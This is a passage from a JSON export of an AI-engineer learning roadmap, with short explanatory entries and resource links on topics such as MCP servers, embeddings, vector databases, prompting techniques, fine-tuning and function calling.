    "content": "# Building an MCP Client\n\nBuilding an MCP (Model Context Protocol) client involves creating software that can interact with AI models using a standardized protocol. This client acts as an intermediary, formatting requests for the model, sending them, and then processing the model's responses into a usable format for other applications or systems. Essentially, it's the piece of software that allows you to communicate with and leverage the capabilities of an AI model in a structured and consistent way.\n\nVisit the following resources to learn more:\n\n- [@official@Build an MCP client](https://modelcontextprotocol.io/docs/develop/build-client)\n- [@article@MCP Client - Step by Step Guide to Building from Scratch](https://composio.dev/blog/mcp-client-step-by-step-guide-to-building-from-scratch)\n- [@video@Create an MCP Client in Python - FastAPI Tutorial](https://www.youtube.com/watch?v=mhdGVbJBswA)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/building-an-mcp-server@oLGfKjcqBzJ3vd6Cg-T1B.md",
    "content": "# Building an MCP Server\n\nAn MCP (Model Context Protocol) server acts as an intermediary between AI agents and various data sources or tools. It provides a standardized way for agents to access and interact with external information, enabling them to perform tasks that require context beyond their internal knowledge. Building an MCP server involves defining the API endpoints, handling requests from agents, retrieving data from relevant sources, and formatting the responses in a way that the agents can understand.\n\nVisit the following resources to learn more:\n\n- [@official@Build an MCP server](https://modelcontextprotocol.io/docs/develop/build-server#build-an-mcp-server)\n- [@article@MCP server: A step-by-step guide to building from scratch](https://composio.dev/blog/mcp-server-step-by-step-guide-to-building-from-scrtch)\n- [@video@Build and Ship Any MCP Server in MINUTES (Full Guide)](https://www.youtube.com/watch?v=Zw3sfAIpeH8)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/choosing-the-right-model@zeWoTtAFEpVXDQzWNsha4.md",
    "content": "# Choosing the Right Model\n\nSelecting the appropriate large language model (LLM) involves considering factors like task complexity, budget, and desired performance. Simpler tasks may only require smaller, more efficient models, while more complex problems benefit from larger models with greater capacity. Cost is also a crucial factor, as larger models generally require more computational resources. You'll also need to assess the model's accuracy, speed, and ability to generalize to new, unseen data. Consider fine-tuning existing models on your specific dataset if you need specialized performance.\n\nVisit the following resources to learn more:\n\n- [@article@Choosing the right model](https://bentoml.com/llm/getting-started/choosing-the-right-model)\n- [@article@Beyond vibes: How to properly select the right LLM for the right task](https://aws.amazon.com/blogs/machine-learning/beyond-vibes-how-to-properly-select-the-right-llm-for-the-right-task/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/chroma@dSd2C9lNl-ymmCRT9_ZC3.md",
    "content": "# Chroma\n\nChroma is an open-source vector database and AI-native embedding database designed to handle and store large-scale embeddings and semantic vectors. It is used in applications that require fast, efficient similarity searches, such as natural language processing (NLP), machine learning (ML), and AI systems dealing with text, images, and other high-dimensional data.\n\nVisit the following resources to learn more:\n\n- [@official@Chroma](https://www.trychroma.com/)\n- [@article@Chroma Tutorials](https://lablab.ai/tech/chroma)\n- [@video@Chroma - Chroma - Vector Database for LLM Applications](https://youtu.be/Qs_y0lTJAp0?si=Z2-eSmhf6PKrEKCW)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/chunking@mX987wiZF7p3V_gExrPeX.md",
    "content": "# Chunking\n\nThe chunking step in Retrieval-Augmented Generation (RAG) involves breaking down large documents or data sources into smaller, manageable chunks. This is done to ensure that the retriever can efficiently search through large volumes of data while staying within the token or input limits of the model. Each chunk, typically a paragraph or section, is converted into an embedding, and these embeddings are stored in a vector database. When a query is made, the retriever searches for the most relevant chunks rather than the entire document, enabling faster and more accurate retrieval.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding LangChain's RecursiveCharacterTextSplitter](https://dev.to/eteimz/understanding-langchains-recursivecharactertextsplitter-2846)\n- [@article@Chunking Strategies for LLM Applications](https://www.pinecone.io/learn/chunking-strategies/)\n- [@article@A Guide to Chunking Strategies for Retrieval Augmented Generation](https://zilliz.com/learn/guide-to-chunking-strategies-for-rag)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/claude-agent-sdk@xXLyuUNrKEc32XLQxMjgT.md",
    "content": "# Claude Agent SDK\n\nThe Claude Agent SDK provides tools and libraries to build autonomous AI agents powered by Anthropic's Claude models. It simplifies the development process by offering pre-built components and abstractions for tasks such as planning, tool usage, memory management, and human interaction. This allows developers to focus on defining the agent's behavior and capabilities rather than the underlying infrastructure.\n\nVisit the following resources to learn more:\n\n- [@official@Agent SDK overview](https://platform.claude.com/docs/en/agent-sdk/overview)\n- [@article@Getting Started with the Claude Agent SDK](https://www.kdnuggets.com/getting-started-with-the-claude-agent-sdk)\n- [@video@Building Custom AI Agents Just Got EASIER - Claude Agent SDK](https://www.youtube.com/watch?v=NsROagHaKxA)\n- [@video@Claude Agents SDK BEATS all Agent Framework! (Beginners Guide)](https://www.youtube.com/watch?v=i6N8oQQ0tUE)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/claude-code@wr5ddjutC-fX_ixysTHaT.md",
    "content": "# Claude Code\n\nClaude Code refers to the code-generation capabilities of Anthropic's Claude AI model. It's designed to assist developers by understanding natural language prompts and translating them into functional code across various programming languages. This allows developers to automate repetitive coding tasks, generate code snippets, and even create entire functions or modules based on descriptive instructions.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Claude Code Roadmap](https://roadmap.sh/claude-code)\n- [@course@Claude Code in Action](https://anthropic.skilljar.com/claude-code-in-action)\n- [@official@Claude Code Overview](https://code.claude.com/docs/en/overview)\n- [@video@Introducing Claude Code](https://www.youtube.com/watch?v=AJpK3YTTKZ4)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/claude-messages-api@nxwMVla0-PNG8nlocKK5v.md",
    "content": "# Claude Messages API\n\nThe Claude Messages API provides a structured way to interact with the Claude AI model. It allows developers to send a series of messages to Claude, mimicking a conversation. These messages can include text, images, and even structured data, enabling you to build complex interactions and extract specific insights from the model's responses through structured inputs and outputs.\n\nVisit the following resources to learn more:\n\n- [@official@Messages API](https://platform.claude.com/docs/en/api/messages)\n- [@official@Using the Messages API](https://platform.claude.com/docs/en/build-with-claude/working-with-messages)\n- [@article@Claude API: How to get a key and use the API](https://zapier.com/blog/claude-api/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/closed-vs-open-source-models@RBwGsq9DngUsl8PrrCbqx.md",
    "content": "# Open vs Closed Source Models\n\nOpen-source models are freely available for customization and collaboration, promoting transparency and flexibility, while closed-source models are proprietary, offering ease of use but limiting modification and transparency.\n\nVisit the following resources to learn more:\n\n- [@article@https://hatchworks.com/blog/gen-ai/open-source-vs-closed-llms-guide/](https://hatchworks.com/blog/gen-ai/open-source-vs-closed-llms-guide/)\n- [@video@Open Source vs Closed AI: LLMs, Agents & the AI Stack Explained](https://www.youtube.com/watch?v=_QfxGZGITGw)\n- [@video@Open-Source vs Closed-Source LLMs](https://www.youtube.com/watch?v=710PDpuLwOc)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/codex@XY2l96sry3WyLzzo3KUeU.md",
    "content": "# Codex\n\nCodex is an AI model created by OpenAI that translates natural language into code. It's designed to understand and generate code in a variety of programming languages, including Python, JavaScript, and more. Codex is particularly adept at interpreting comments and instructions to produce functional code snippets, making it a powerful tool for automating and accelerating the software development process.\n\nVisit the following resources to learn more:\n\n- [@official@Codex - Official Webste](https://chatgpt.com/codex)\n- [@video@Getting started with Codex](https://www.youtube.com/watch?v=px7XlbYgk7I)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/cohere@a7qsvoauFe5u953I699ps.md",
    "content": "# Cohere\n\nCohere offers a suite of closed large language models (LLMs) designed for various natural language processing tasks. These models are accessible through an API and are trained and maintained by Cohere, meaning users don't have to worry about the complexities of training and fine-tuning their own models from scratch. Cohere focuses on providing enterprise-grade NLP solutions emphasizing safety, reliability, and ease of integration.\n\nVisit the following resources to learn more:\n\n- [@official@Cohere](https://cohere.com/)\n- [@official@LLM University - Cohere](https://cohere.com/llmu)\n- [@article@What Does Cohere Do?](https://medium.com/geekculture/what-does-cohere-do-cdadf6d70435)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/cohere@y0qD5Kb4Pf-ymIwW-tvhX.md",
    "content": "# Cohere Embeddings\n\nCohere offers powerful text embeddings, which are numerical representations of text data. These embeddings capture the semantic meaning of words, sentences, and documents, allowing AI models to understand relationships and perform tasks like similarity search, clustering, and information retrieval. Cohere's embedding models are designed for high accuracy and performance across various natural language processing applications.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Embeddings at Cohere](https://docs.cohere.com/docs/embeddings)\n- [@official@What are embedding models? Benefits and best practices](https://cohere.com/blog/embedding-models)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/conducting-adversarial-testing@Pt-AJmSJrOxKvolb5_HEv.md",
    "content": "# Conducting adversarial testing\n\nAdversarial testing involves intentionally exposing machine learning models to deceptive, perturbed, or carefully crafted inputs to evaluate their robustness and identify vulnerabilities. The goal is to simulate potential attacks or edge cases where the model might fail, such as subtle manipulations in images, text, or data that cause the model to misclassify or produce incorrect outputs. This type of testing helps to improve model resilience, particularly in sensitive applications like cybersecurity, autonomous systems, and finance.\n\nVisit the following resources to learn more:\n\n- [@article@Adversarial Testing for Generative AI](https://developers.google.com/machine-learning/resources/adv-testing)\n- [@article@Adversarial Testing: Definition, Examples and Resources](https://www.leapwork.com/blog/adversarial-testing)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/connect-to-local-server@H-G93SsEgsA_NGL_v4hPv.md",
    "content": "# Connect to Local Server\n\nA Local Desktop deployment means running the MCP server directly on your own computer instead of a remote cloud or server. You install the MCP software, needed runtimes, and model files onto your desktop or laptop. The server then listens on a local address like `127.0.0.1:8000`, accessible only from the same machine unless you open ports manually. This setup is great for fast tests, personal demos, or private experiments since you keep full control and avoid cloud costs. However, it's limited by your hardware's speed and memory, and others cannot access it without tunneling tools like ngrok or local port forwarding.\n\nVisit the following resources to learn more:\n\n- [@official@Connect to local MCP servers](https://modelcontextprotocol.io/docs/develop/connect-local-servers)\n- [@article@How to Build and Host Your Own MCP Servers in Easy Steps](ttps://collabnix.com/how-to-build-and-host-your-own-mcp-servers-in-easy-steps/)\n- [@video@Local MCP Servers for Cursor (Step by step)](https://www.youtube.com/watch?v=_Qr0WTgR5EM)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/connect-to-remote-server@2t4uINxmzfx8FUF-_i_2B.md",
    "content": "# Connect to Remote Server\n\nRemote or cloud deployment places the MCP server on a cloud provider instead of a local machine. You package the server as a container or virtual machine, choose a service like AWS, Azure, or GCP, and give it compute, storage, and a public HTTPS address. A load balancer spreads traffic, while auto-scaling adds or removes copies of the server as demand changes. You secure the endpoint with TLS, API keys, and firewalls, and you send logs and metrics to the provider’s monitoring tools. This setup lets the server handle many users, updates are easier, and you avoid local hardware limits, though you must watch costs and protect sensitive data.\n\nVisit the following resources to learn more:\n\n- [@official@Connect to remote MCP Servers](https://modelcontextprotocol.io/docs/develop/connect-remote-servers)\n- [@article@Remote MCP Servers](https://mcpservers.org/remote-mcp-servers)\n- [@video@Deploy Remote MCP Servers in Python (Step by Step)](https://www.youtube.com/watch?v=wXAqv8uvY0M)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/constraining-outputs-and-inputs@ONLDyczNacGVZGojYyJrU.md",
    "content": "# Constraining outputs and inputs\n\nConstraining outputs and inputs in AI models refers to implementing limits or rules that guide both the data the model processes (inputs) and the results it generates (outputs). Input constraints ensure that only valid, clean, and well-formed data enters the model, which helps to reduce errors and improve performance. This can include setting data type restrictions, value ranges, or specific formats. Output constraints, on the other hand, ensure that the model produces appropriate, safe, and relevant results, often by limiting output length, specifying answer formats, or applying filters to avoid harmful or biased responses. These constraints are crucial for improving model safety, alignment, and utility in practical applications.\n\nVisit the following resources to learn more:\n\n- [@article@Preventing Prompt Injection](https://learnprompting.org/docs/prompt_hacking/defensive_measures/introduction)\n- [@article@Introducing Structured Outputs in the API - OpenAI](https://openai.com/index/introducing-structured-outputs-in-the-api/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/constrains@PT3uDiUjiKhO8laOkCmgP.md",
    "content": "# Constraining Prompts\n\nConstraining system prompts involves explicitly defining boundaries and limitations within the instructions given to a large language model (LLM). This technique focuses on guiding the LLM to operate within a specific scope, preventing it from generating irrelevant, harmful, or factually incorrect responses by setting rules and restrictions on its behavior and output format.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction: The Power of Clear Instructions](https://codesignal.com/learn/courses/prompting-foundations/lessons/defining-constraints-and-requirements-for-effective-prompts)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/content-moderation-apis@ljZLa3yjQpegiZWwtnn_q.md",
    "content": "# Content Moderation APIs\n\nContent Moderation APIs are tools that automatically analyze text, images, video, and audio to detect potentially harmful or inappropriate content. These APIs use machine learning models to identify violations of predefined policies related to areas like hate speech, violence, self-harm, and sexually suggestive material. The results allow developers to filter or take action against problematic user-generated content.\n\nVisit the following resources to learn more:\n\n- [@official@Moderation API](https://platform.openai.com/docs/guides/moderation)\n- [@article@How to use the moderation API](https://cookbook.openai.com/examples/how_to_use_moderation)\n- [@article@Content moderation: What it is, how it works, and the best APIs](https://www.assemblyai.com/blog/content-moderation-what-it-is-how-it-works-best-apis-2)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/context-compaction@9XCxilAQ7FRet7lHQr1gE.md",
    "content": "# Context Compaction\n\nContext compaction is a technique used to reduce the length of the context provided to a large language model (LLM) without sacrificing relevant information. This process aims to remove redundant, irrelevant, or less important information from the context window to make room for more data or improve the efficiency and effectiveness of the LLM's processing. Compaction can involve techniques like summarization, filtering, or re-ranking of context information.\n\nVisit the following resources to learn more:\n\n- [@article@Context Engineering](https://blog.langchain.com/context-engineering-for-agents/)\n- [@article@Context Compaction](https://gist.github.com/badlogic/cd2ef65b0697c4dbe2d13fbecb0a0a5f)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/context-engineering@kCiHNaZ9CgnS9uksIQ_SY.md",
    "content": "# Context Engineering\n\nContext engineering is the practice of carefully designing and organizing the information you give to an AI model so it can do its job better. Think of it like preparing everything an AI needs before it starts working (including providing the right instructions, examples, background knowledge, and conversation history), all put together smartly so the model gives you the best possible answer. Instead of just asking a question and hoping for the best, you are building the perfect \"environment\" of information around the AI to guide it toward success.\n\nVisit the following resources to learn more:\n\n- [@article@Context Engineering Guide](https://www.promptingguide.ai/guides/context-engineering-guide)\n- [@article@Effective context engineering for AI agents](https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents)\n- [@article@How to Perform Effective Agentic Context Engineering](https://towardsdatascience.com/how-to-perform-effective-agentic-context-engineering/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Context Engineering vs. Prompt Engineering: Smarter AI with RAG & Agents](https://www.youtube.com/watch?v=vD0E3EUb8-8)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/context-isolation@9JwWIK0Z2MK8-6EQQJsCO.md",
    "content": "# Context Isolation\n\nContext isolation is about keeping different tasks or areas of knowledge separate when working with large language models (LLMs). Think of it like giving each task its own dedicated space. Instead of one big LLM trying to handle everything at once, you use multiple, smaller \"agents\" that are each focused on a specific job and trained on their own specific data. This prevents unrelated information from interfering with each other, leading to more accurate and reliable results.\n\nVisit the following resources to learn more:\n\n- [@article@4 context engineering strategies every AI engineer needs to know](https://newsletter.owainlewis.com/p/4-context-engineering-strategies)\n- [@article@Context Engineering](https://blog.langchain.com/context-engineering-for-agents/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/context@9oUpeEnaMWctQLTobbmY7.md",
    "content": "# Contextual prompting\n\nContextual prompting provides specific background information or situational details relevant to the current task, helping LLMs understand nuances and tailor responses accordingly. Unlike system or role prompts, contextual prompts supply immediate, task-specific information that's dynamic and changes based on the situation. For example: \"Context: You are writing for a blog about retro 80's arcade video games. Suggest 3 topics to write articles about.\" This technique ensures responses are relevant, accurate, and appropriately framed for the specific context provided."
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/context@vvpYkmycH0_W030E-L12f.md",
    "content": "# Context\n\nContext, in the realm of Large Language Models (LLMs), refers to the information provided to the model alongside the prompt, which it uses to generate a relevant and coherent response. It encompasses the user's query, any supporting text, previous turns in a conversation, or any other data that helps the LLM understand the desired output. Essentially, it's the background knowledge and instructions that guide the LLM's reasoning and generation process.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Context Window in AI?](https://www.ibm.com/think/topics/context-window)\n- [@article@What Is an AI Context Window?](https://www.coursera.org/articles/context-window)\n- [@article@Cutting Through the Noise: Smarter Context Management for LLM-Powered Agents](https://blog.jetbrains.com/research/2025/12/efficient-context-management/)\n- [@video@What is a Context Window? Unlocking LLM Secrets](https://www.youtube.com/watch?v=-QVoIxEpFkM)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/cot@nyBgEHvUhwF-NANMwkRJW.md",
    "content": "# Chain-of-Thought Prompting\n\nChain of Thought (CoT) is a way for an AI agent to think out loud. Before giving its final answer, the agent writes short notes that show each step it takes. These notes can list facts, name sub-tasks, or do small bits of math. By seeing the steps, the agent stays organized and is less likely to make a mistake. People who read the answer can also check the logic and spot any weak points. The same written steps can be fed back into the agent so it can plan, reflect, or fix itself. Because it is easy to use and boosts trust, CoT is one of the most common designs for language-based agents today.\n\nVisit the following resources to learn more:\n\n- [@article@What is chain of thought (CoT) prompting?](https://www.ibm.com/think/topics/chain-of-thoughts)\n- [@article@Chain-of-Thought Prompting Elicits Reasoning in Large Language Models](https://arxiv.org/abs/2201.11903)\n- [@article@Evoking Chain of Thought Reasoning in LLMs - Prompting Guide](https://www.promptingguide.ai/techniques/cot)\n- [@video@ChatGPT Prompt Engineering Principles: Chain of Thought Prompting](https://www.youtube.com/watch?v=Kar2qfLDQ2c)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/cursor@MWhoqhNnBaoeCdN_8i15k.md",
    "content": "# Cursor\n\nCursor is an AI-powered code editor designed to enhance developer productivity. It leverages large language models to provide features such as code generation, intelligent autocompletion, and code refactoring suggestions, all within a familiar editor environment. Cursor aims to streamline the coding process and accelerate software development.\n\nVisit the following resources to learn more:\n\n- [@official@Cursor Docs](https://cursor.com/docs)\n- [@official@Cursor Learn](https://cursor.com/learn)\n- [@video@Cursor AI Tutorial for Beginners](https://www.youtube.com/watch?v=3289vhOUdKA)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/dall-e-api@LKFwwjtcawJ4Z12X102Cb.md",
    "content": "# DALL-E API\n\nThe DALL-E API is a tool provided by OpenAI that allows developers to integrate the DALL-E image generation model into applications. DALL-E is an AI model designed to generate images from textual descriptions, capable of producing highly detailed and creative visuals. The API enables users to provide a descriptive prompt, and the model generates corresponding images, opening up possibilities in fields like design, advertising, content creation, and art.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAI Image Generation](https://platform.openai.com/docs/guides/images)\n- [@video@DALL E API - Introduction (Generative AI Pictures from OpenAI)](https://www.youtube.com/watch?v=Zr6vAWwjHN0)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/data-classification@06Xta-OqSci05nV2QMFdF.md",
    "content": "# Data Classification\n\nOnce data is embedded, a classification algorithm, such as a neural network or a logistic regression model, can be trained on these embeddings to classify the data into different categories. The advantage of using embeddings is that they capture underlying relationships and similarities between data points, even if the raw data is complex or high-dimensional, improving classification accuracy in tasks like text classification, image categorization, and recommendation systems.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Data Classification?](https://www.paloaltonetworks.com/cyberpedia/data-classification)\n- [@video@Text Embeddings, Classification, and Semantic Search (w/ Python Code)](https://www.youtube.com/watch?v=sNa_uiqSlJo)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/data-layer@Z0920V57_ziDhXbQJMN9O.md",
    "content": "# Data Layer in Model Context Protocol\n\nThe Data Layer within the Model Context Protocol (MCP) is responsible for managing and providing access to the data that AI agents use to reason, learn, and make decisions. It acts as an intermediary between the agent and various data sources, ensuring data is readily available, properly formatted, and securely accessed. This layer handles data storage, retrieval, caching, and transformation, enabling agents to efficiently utilize relevant information from diverse sources.\n\nVisit the following resources to learn more:\n\n- [@official@Layer](https://modelcontextprotocol.io/docs/learn/architecture#layers)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/deepseek@UGYYh2W1XnnbgYNY8L8Hb.md",
    "content": "# DeepSeek\n\nDeepSeek refers to a family of large language models (LLMs) developed by DeepSeek AI. These models are designed to be powerful and efficient, capable of handling various natural language processing tasks such as text generation, translation, and question answering. They are made available with open weights, allowing developers and researchers to use, study, and modify the model architecture and parameters.\n\nVisit the following resources to learn more:\n\n- [@official@Deepseek](https://www.deepseek.com/en/)\n- [@article@DeepSeek explained: Everything you need to know](https://www.techtarget.com/whatis/feature/DeepSeek-explained-Everything-you-need-to-know)\n- [@video@What is DeepSeek? AI Model Basics Explained](https://www.youtube.com/watch?v=KTonvXhsxpc)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/development-tools@NYge7PNtfI-y6QWefXJ4d.md",
    "content": "# Development Tools\n\nAI has given rise to a collection of AI-powered development tools of various varieties. We have IDEs like Cursor that have AI baked into it, live context capturing tools such as Pieces, and a variety of browser-based tools like V0, Claude, and more."
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/embedding-models@fr0UOXlVVctkk1K84Z8Of.md",
    "content": "# Embedding Models\n\nEmbedding models transform data, like text or images, into numerical representations called embeddings. These embeddings capture the semantic meaning and relationships within the data in a vector space. By representing data as vectors, we can perform mathematical operations to determine similarity, cluster related items, and feed the data into machine learning models.\n\nVisit the following resources to learn more:\n\n- [@article@What are Embedding Models? An Overview](https://www.couchbase.com/blog/embedding-models/)\n- [@article@Best Open-Source Embedding Models Benchmarked and Ranked](https://supermemory.ai/blog/best-open-source-embedding-models-benchmarked-and-ranked/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/embedding@grTcbzT7jKk_sIUwOTZTD.md",
    "content": "# Embedding\n\nIn Retrieval-Augmented Generation (RAG), embeddings are essential for linking information retrieval with natural language generation. Embeddings represent both the user query and documents as dense vectors in a shared space, enabling the system to retrieve relevant information based on similarity. This retrieved information is then fed into a generative model, such as GPT, to produce contextually informed and accurate responses. By using embeddings, RAG enhances the model's ability to generate content grounded in external knowledge, making it effective for tasks like question answering and summarization.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding the role of embeddings in RAG LLMs](https://www.aporia.com/learn/understanding-the-role-of-embeddings-in-rag-llms/)\n- [@article@Mastering RAG: How to Select an Embedding Model](https://www.rungalileo.io/blog/mastering-rag-how-to-select-an-embedding-model)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/embeddings@XyEp6jnBSpCxMGwALnYfT.md",
    "content": "# Embeddings\n\nEmbeddings are dense, continuous vector representations of data, such as words, sentences, or images, in a lower-dimensional space. They capture the semantic relationships and patterns in the data, where similar items are placed closer together in the vector space. In machine learning, embeddings are used to convert complex data into a numerical form that models can process more easily. For example, word embeddings represent words based on their meanings and contexts, allowing models to understand relationships like synonyms or analogies. Embeddings are widely used in tasks like natural language processing, recommendation systems, and image recognition to improve model performance and efficiency.\n\nVisit the following resources to learn more:\n\n- [@article@What are Embeddings in Machine Learning?](https://www.cloudflare.com/en-gb/learning/ai/what-are-embeddings/)\n- [@article@What is Embedding?](https://www.ibm.com/topics/embedding)\n- [@video@What are Word Embeddings](https://www.youtube.com/watch?v=wgfSDrqYMJ4)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/external-memory@KWjD4xEPhOOYS51dvRLd2.md",
    "content": "# External Memory\n\nExternal memory, in the context of large language models (LLMs), refers to mechanisms that allow these models to access and utilize information stored outside of their internal parameters. This can involve retrieving relevant data from databases, knowledge graphs, or other external sources during the prompt processing or generation phases to augment the model's knowledge and improve its performance on specific tasks. This enhances the LLM's ability to handle complex queries and generate more accurate and contextually relevant responses.\n\nVisit the following resources to learn more:\n\n- [@article@How to Maximize Agentic Memory for Continual Learning](https://towardsdatascience.com/how-to-maximize-agentic-memory-for-continual-learning/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/faiss@JurLbOO1Z8r6C3yUqRNwf.md",
    "content": "# FAISS\n\nFAISS (Facebook AI Similarity Search) is a library developed by Facebook AI for efficient similarity search and clustering of dense vectors, particularly useful for large-scale datasets. It is optimized to handle embeddings (vector representations) and enables fast nearest neighbor search, allowing you to retrieve similar items from a large collection of vectors based on distance or similarity metrics like cosine similarity or Euclidean distance. FAISS is widely used in applications such as image and text retrieval, recommendation systems, and large-scale search systems where embeddings are used to represent items. It offers several indexing methods and can scale to billions of vectors, making it a powerful tool for handling real-time, large-scale similarity search problems efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@FAISS](https://ai.meta.com/tools/faiss/)\n- [@article@What Is Faiss (Facebook AI Similarity Search)?](https://www.datacamp.com/blog/faiss-facebook-ai-similarity-search)\n- [@video@FAISS Vector Library with LangChain and OpenAI](https://www.youtube.com/watch?v=ZCSsIkyCZk4)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/few-shot@DZPM9zjCbYYWBPLmQImxQ.md",
    "content": "# Few-Shot Prompting\n\nFew-shot prompting is a technique used with large language models (LLMs) where you provide a small number of example input-output pairs in the prompt itself. These examples demonstrate the desired behavior of the LLM for a specific task. By seeing these \"few shots\" of correct answers, the LLM can better understand the pattern and generate accurate and relevant responses for new, unseen inputs.\n\nVisit the following resources to learn more:\n\n- [@article@Few-Shot Prompting](https://www.promptingguide.ai/techniques/fewshot)\n- [@article@What is few shot prompting?](https://www.ibm.com/think/topics/few-shot-prompting)\n- [@video@Discover Few-Shot Prompting | Google AI Essentials](https://www.youtube.com/watch?v=9qdgEBVkWR4)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/fine-tuning@zTvsCNS3ucsZmvy1tHyeI.md",
    "content": "# Fine-tuning\n\nFine-tuning involves taking a pre-trained large language model (LLM) and further training it on a smaller, task-specific dataset. This adapts the LLM to perform better on a particular task or domain. However, fine-tuning can be resource-intensive and may not always be the most efficient approach. Prompt engineering, retrieval-augmented generation (RAG), or using smaller, specialized models can sometimes achieve comparable or even better results with less computational overhead and data requirements.\n\nVisit the following resources to learn more:\n\n- [@article@What is fine-tuning?](https://www.ibm.com/think/topics/fine-tuning)\n- [@article@How I Fine-Tuned Granite-Vision 2B to Beat a 90B Model — Insights and Lessons Learned](https://towardsdatascience.com/how-i-fine-tuned-granite-vision-2b-to-beat-a-90b-model-insights-and-lessons-learned/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@RAG vs Fine-Tuning vs Prompt Engineering: Optimizing AI Models](https://www.youtube.com/watch?v=zYGDpG-pTho)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/function-calling@wFfjHkGLrcCyLyXV4BiFM.md",
    "content": "# Function Calling\n\nFunction calling allows Large Language Models (LLMs) to interact with external tools and APIs. Instead of just generating text, the LLM can be instructed to recognize when a specific function should be called based on the user's input, and then output the arguments needed to execute that function. This enables the LLM to perform actions beyond its training data, such as retrieving real-time information or automating tasks.\n\nVisit the following resources to learn more:\n\n- [@article@A Comprehensive Guide to Function Calling in LLMs](https://thenewstack.io/a-comprehensive-guide-to-function-calling-in-llms/)\n- [@article@Function Calling with LLMs | Prompt Engineering Guide](https://www.promptingguide.ai/applications/function_calling)\n- [@video@LLM Function Calling - AI Tools Deep Dive](https://www.youtube.com/watch?v=gMeTK6zzaO4)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/gemini-embedding@4GArjDYipit4SLqKZAWDf.md",
    "content": "# Gemini Embedding\n\nThe Gemini API offers methods to convert text, images, or other data types into numerical vector representations called embeddings. These embeddings capture the semantic meaning and relationships between different pieces of information, allowing for efficient similarity search, clustering, and other machine learning tasks. These proprietary models are offered as a service, often through an API, and require payment or subscription.\n\nVisit the following resources to learn more:\n\n- [@official@Embeddings](https://ai.google.dev/gemini-api/docs/embeddings)\n- [@official@Gemini Embedding now generally available in the Gemini API](https://developers.googleblog.com/gemini-embedding-available-gemini-api/)\n- [@video@What are text embeddings?](https://www.youtube.com/watch?v=vlcQV4j2kTo&t=117s)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/gemini@hzeEo8COf2l07iu5EdlFo.md",
    "content": "# Gemini\n\nGemini is a multimodal AI model developed by Google. It's designed to understand and reason across different types of information, including text, code, audio, images, and video. This allows Gemini to solve complex problems and potentially generate new types of content, offering a more holistic approach compared to models focused on a single modality.\n\nVisit the following resources to learn more:\n\n- [@official@Google Gemini](https://gemini.google.com/)\n- [@official@Helpful Tips for using Gemini at work](https://services.google.com/fh/files/misc/quick_start_guide_to_google_ai_at_work.pdf)\n- [@video@Welcome to the Gemini era](https://www.youtube.com/watch?v=_fuimO6ErKI)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/gemma2@MNtaY1_kOJHeoWuM-abb4.md",
    "content": "# Gemma2\n\nGemma2 is a family of open-source large language models (LLMs) developed by Google. These models are designed to be lightweight and high-performing, making them suitable for a variety of tasks, including text generation, question answering, and code completion. Gemma models are available in different sizes, allowing developers to select the best model for their specific resource constraints and performance requirements.\n\nVisit the following resources to learn more:\n\n- [@official@Gemma](https://deepmind.google/models/gemma/)\n- [@official@Gemma explained: What’s new in Gemma 2](https://developers.googleblog.com/gemma-explained-new-in-gemma-2/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/generation@2jJnS9vRYhaS69d6OxrMh.md",
